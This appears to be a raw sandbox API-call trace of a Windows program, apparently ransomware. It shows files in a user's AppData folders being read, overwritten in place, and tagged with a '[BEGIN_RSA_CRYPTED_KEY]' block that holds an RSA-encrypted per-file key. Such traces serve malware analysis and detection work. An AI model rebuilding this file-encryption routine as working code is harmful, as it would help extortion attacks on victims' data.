1 [0210.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0210.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0210.254] GetLastError () returned 0x12 [0210.254] SetLastError (dwErrCode=0x12) [0210.254] GetLastError () returned 0x12 [0210.254] SetLastError (dwErrCode=0x12) [0210.254] GetLastError () returned 0x12 [0210.254] SetLastError (dwErrCode=0x12) [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2f198 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657998 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0210.255] GetLastError () returned 0x12 [0210.255] SetLastError (dwErrCode=0x12) [0210.255] GetLastError () returned 0x12 [0210.255] SetLastError (dwErrCode=0x12) [0210.255] GetLastError () returned 0x12 [0210.255] SetLastError (dwErrCode=0x12) [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2f458 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0210.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0210.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657a60 | out: hHeap=0x570000) returned 1 [0210.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0210.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0210.256] GetLastError () returned 0x12 [0210.256] SetLastError (dwErrCode=0x12) [0210.256] GetLastError () returned 0x12 [0210.256] SetLastError (dwErrCode=0x12) [0210.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658168 | out: hHeap=0x570000) returned 1 [0210.256] GetLastError () returned 0x12 [0210.256] SetLastError (dwErrCode=0x12) [0210.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fb0 | out: hHeap=0x570000) returned 1 [0210.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658938 | out: hHeap=0x570000) returned 1 [0210.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657f10 | out: hHeap=0x570000) returned 1 [0210.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663a30 | out: hHeap=0x570000) returned 1 [0210.256] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x319c919e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5f8d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3511ec7f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2f458 [0210.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dae8 | out: hHeap=0x570000) returned 1 [0210.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0210.257] GetLastError () returned 0x12 [0210.257] SetLastError (dwErrCode=0x12) [0210.257] GetLastError () returned 0x12 [0210.257] SetLastError (dwErrCode=0x12) [0210.257] GetLastError () returned 0x12 [0210.257] SetLastError (dwErrCode=0x12) [0210.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0210.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2f3d8 | out: hHeap=0x570000) returned 1 [0210.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0210.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fb0 | out: hHeap=0x570000) returned 1 [0210.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0210.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657998 | out: hHeap=0x570000) returned 1 [0210.257] SetLastError (dwErrCode=0x12) [0210.257] GetLastError () returned 0x12 [0210.258] SetLastError (dwErrCode=0x12) [0210.258] SetLastError (dwErrCode=0x12) [0210.258] SetLastError (dwErrCode=0x12) [0210.258] GetLastError () returned 0x12 [0210.258] SetLastError (dwErrCode=0x12) [0210.258] SetLastError (dwErrCode=0x12) [0210.258] SetLastError (dwErrCode=0x12) [0210.258] GetLastError () returned 0x12 [0210.258] SetLastError (dwErrCode=0x12) [0210.258] GetLastError () returned 0x12 [0210.258] SetLastError (dwErrCode=0x12) [0210.258] SetLastError (dwErrCode=0x12) [0210.258] GetLastError () returned 0x12 [0210.258] SetLastError (dwErrCode=0x12) [0210.258] SetLastError (dwErrCode=0x12) [0210.258] SetLastError (dwErrCode=0x12) [0210.258] GetLastError () returned 0x12 [0210.259] SetLastError (dwErrCode=0x12) [0210.259] SetLastError (dwErrCode=0x12) [0210.259] SetLastError (dwErrCode=0x12) [0210.259] GetLastError () returned 0x12 [0210.259] SetLastError (dwErrCode=0x12) [0210.259] GetLastError () returned 0x12 [0210.259] SetLastError (dwErrCode=0x12) [0210.259] SetLastError (dwErrCode=0x12) [0210.259] GetLastError () returned 0x12 [0210.259] SetLastError (dwErrCode=0x12) [0210.259] GetLastError () returned 0x12 [0210.267] SetLastError (dwErrCode=0x12) [0210.267] SetLastError (dwErrCode=0x12) [0210.267] GetLastError () returned 0x12 [0210.267] SetLastError (dwErrCode=0x12) [0210.267] GetLastError () returned 0x12 [0210.267] SetLastError (dwErrCode=0x12) [0210.268] SetLastError (dwErrCode=0x12) [0210.268] GetLastError () returned 0x12 [0210.268] SetLastError (dwErrCode=0x12) [0210.268] GetLastError () returned 0x12 [0210.268] SetLastError (dwErrCode=0x12) [0210.268] SetLastError (dwErrCode=0x12) [0210.268] GetLastError () returned 0x12 [0210.268] SetLastError (dwErrCode=0x12) [0210.268] GetLastError () returned 0x12 [0210.268] SetLastError (dwErrCode=0x12) [0210.268] SetLastError (dwErrCode=0x12) [0210.268] GetLastError () returned 0x12 [0210.268] SetLastError (dwErrCode=0x12) [0210.268] GetLastError () returned 0x12 [0210.268] SetLastError (dwErrCode=0x12) [0210.268] SetLastError (dwErrCode=0x12) [0210.268] GetLastError () returned 0x12 [0210.269] SetLastError (dwErrCode=0x12) [0210.269] GetLastError () returned 0x12 [0210.269] SetLastError (dwErrCode=0x12) [0210.273] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0210.273] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\LocalState\\DiagOutputDir\\SkypeHost-11.8.204.0-001.etl", dwFileAttributes=0x80) returned 1 [0210.275] ReadFile (in: hFile=0x17e0, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0210.283] SetFilePointer (in: hFile=0x17e0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.283] WriteFile (in: hFile=0x17e0, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0210.283] SetFilePointer (in: hFile=0x17e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0210.283] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.284] WriteFile (in: hFile=0x17e0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.284] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0210.284] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0210.285] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0210.285] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4QoIIQq04A+GMI3nfobXPkb38i7r+YIBrEl/wzpI18YJIkAN9SQ3CqZO3KiYTAQl\n/DT0L68ZNyxayDtsOb1W44Exw9O48JsZNQgZ6jrIB/7oj6FA4VgXv1b0sClhM/52\nGHYSCR3p3W6cSCjtdXFTvvy8HxGLFnDKhdddqKz8jKmTQq0DpjULyoAzOmnxjd5d\nwsw/3SFM00hA3XxM/DFM774kRSYrk8Iqd0bYIBCR8fmQPPugvrxOr+gaF8nJ+Dlf\n6xFfi53TSHkc9SMnAaZ2qSCjdrl/KPXxeetqNwfBINqr9+o9TBUSN7a4oJk+eGGg\nH/H9/SidBhA02SAOIYl0FQ==\n", pcchString=0x2e3f9a8) returned 1 [0210.285] WriteFile (in: hFile=0x17e0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0210.285] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.285] WriteFile (in: hFile=0x17e0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.286] CloseHandle (hObject=0x17e0) returned 1 [0210.638] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0210.639] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ec24f201-27b8-4d24-9eda-c898a96c3bc3.up_meta_body", dwFileAttributes=0x80) returned 1 [0210.640] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0210.640] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.640] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0210.640] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0210.640] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.640] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.642] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0210.642] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0210.642] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0210.642] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66dd30, pcchString=0x2e3f9a8 | out: pszString="fdxpSY57zzJ/wKpIfmGxwpYOl9m96zJWX6aMKCqEfGeBAUCVtEzzbOyNR0rEw0KD\nBNIrU6svwphRBejjyA1aYpBdn4wOf6En9NYr0RSl18KdAxNn0QWN00QMsjhjRY9d\nci9UjHHUoy8+cDwpjwzwJV9ZaHp/1oyW2XzHdf/NcSJbRHeIPYCEAomUTidjfAB1\nHQGRphefrq6oLM0ZaI6zE3V/CCfRQGB5hbaTLtXRM3zZ2ssm3coHblOC3CC6uhfE\n0gwglPjjFo3N9Qx2Erjfkz0XSId0YKm+16zhw8D/YqnutcdexGnV9SvDK1NAWcKe\nQlgjx8cyr+KviEYL4Ee4sw==\n", pcchString=0x2e3f9a8) returned 1 [0210.643] WriteFile (in: hFile=0x1830, lpBuffer=0x66dd30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66dd30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0210.643] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.643] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.643] CloseHandle (hObject=0x1830) returned 1 [0210.645] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0210.645] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ec24f201-27b8-4d24-9eda-c898a96c3bc3.up_meta", dwFileAttributes=0x80) returned 1 [0210.646] ReadFile (in: hFile=0x1830, lpBuffer=0x661f90, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661f90*, lpNumberOfBytesRead=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0210.647] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.647] WriteFile (in: hFile=0x1830, lpBuffer=0x662c40*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662c40*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0210.647] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda [0210.648] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.648] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.648] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0210.648] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0210.648] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0210.649] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66dd30, pcchString=0x2e3f9a8 | out: pszString="oRsFiKjMkQbxgdEgHJbQ/C3Z8mr+mCENkdB1bZhvdlEag7It9pT5DJvX1r/qJH2a\n7pylYWn+6NFMnVMlltjuS0hFGucAxw4lz/GdoLvkFA8uN+gUzqLnYk0nNhl2w4TO\ns3KXtYKkul1zN2kSttjs54rv2W1FKgh4pofMAUwjQJUIX/X4LLQcht4SUApFVr+L\no3aUEWkM/6uNZQiq10bMnonTWxnAAbfDb3tcVStdBJt/bXTEmS5d6LVdZnh0NjWJ\nYHKJFAIBy/CrqI1rg3gdX/bnKIjXMY34K1gR0bC2nlBKdg6M1PQaLe8BpvummrQP\nscZizU+0fHovBmziJhmakg==\n", pcchString=0x2e3f9a8) returned 1 [0210.649] WriteFile (in: hFile=0x1830, lpBuffer=0x66dd30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66dd30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0210.650] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.650] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.651] CloseHandle (hObject=0x1830) returned 1 [0210.653] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0210.653] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ec24f201-27b8-4d24-9eda-c898a96c3bc3.32e727dd-8875-430c-becf-d08f84eae430.down_meta", dwFileAttributes=0x80) returned 1 [0210.654] ReadFile (in: hFile=0x1830, lpBuffer=0x65a0e0, nNumberOfBytesToRead=0x5c2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a0e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c2, lpOverlapped=0x0) returned 1 [0210.669] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1474, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.669] WriteFile (in: hFile=0x1830, lpBuffer=0x65a6b0*, nNumberOfBytesToWrite=0x5c2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a6b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c2, lpOverlapped=0x0) returned 1 [0210.670] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c2 [0210.670] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.670] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.671] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0210.671] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0210.671] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0210.672] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66dda8, pcchString=0x2e3f9a8 | out: pszString="rjScmA1hgreebuX7MsT3TPRhIuMIEjY6F49/geSFVxVin+VfI/i14EKKB0CfMtbc\nQkaq5Zf40/TNL4VIB+X7u+d3HB7MM/DjIGyW+xvMulPb7MnLJ6mHoKjWZBzgrnpU\nQKuziNgAFBkBlaI75mvyn01g6cIfwBpA+GL2eX6miSYE9ArAHWW1E69jMVvY+oDr\njLIf31fyEbb8ttxguUtFjF3J4EWTa+S0FvJXCUOvbOLRthcfVe3PgSQZjXMvXHqS\nwYvhpLLglD6IyIBtTzC/+Eyz5UdIjydJx7dBf4ztFCkCNirFMfaUqp9KaQ5XErjJ\nbo+pAs4hk8GxXr0Yed54JQ==\n", pcchString=0x2e3f9a8) returned 1 [0210.672] WriteFile (in: hFile=0x1830, lpBuffer=0x66dda8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66dda8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0210.672] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.672] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.673] CloseHandle (hObject=0x1830) returned 1 [0210.674] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0210.675] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\dccc04a3-64f0-4449-b08e-7f2c9a851fe3.up_meta_body", dwFileAttributes=0x80) returned 1 [0210.675] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0210.676] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.676] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0210.676] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0210.676] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.676] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.677] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0210.677] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0210.678] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0210.678] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66db88, pcchString=0x2e3f9a8 | out: pszString="feg/2n6yXaCu/Fs2p7nYuIgz+q00DqlDYfUEDT1HQ76yZhZqWQRoroTI6wHCEfN8\neVH9EsM8d6QTtXQ7rTXfUaTg6jDwKSKY0JrCHIl1BhDOhEzqRebwNNHPzGqnhed7\nqGZoRmO8ClCSfvknqLJbC1+NIh9Xmxz4DH4bVm7DCRNQOow45U3BfsEikdgkWSTL\nWR4QbZ2fTRKrEYePsCwwEe6F5TGcdEpi8oPzfa5Zwud3/HGdU36ueY5iN2NYicxu\nU936cUSDoauUk+HVkv7Nf4i3Tz1lPXulBkrdwYOKNEcr/NjyTj6NH3mgyh9DeqF4\na+HN7A2kLRQcpWOFkGFXDg==\n", pcchString=0x2e3f9a8) returned 1 [0210.678] WriteFile (in: hFile=0x1830, lpBuffer=0x66db88*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66db88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0210.678] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.678] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.679] CloseHandle (hObject=0x1830) returned 1 [0210.681] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: 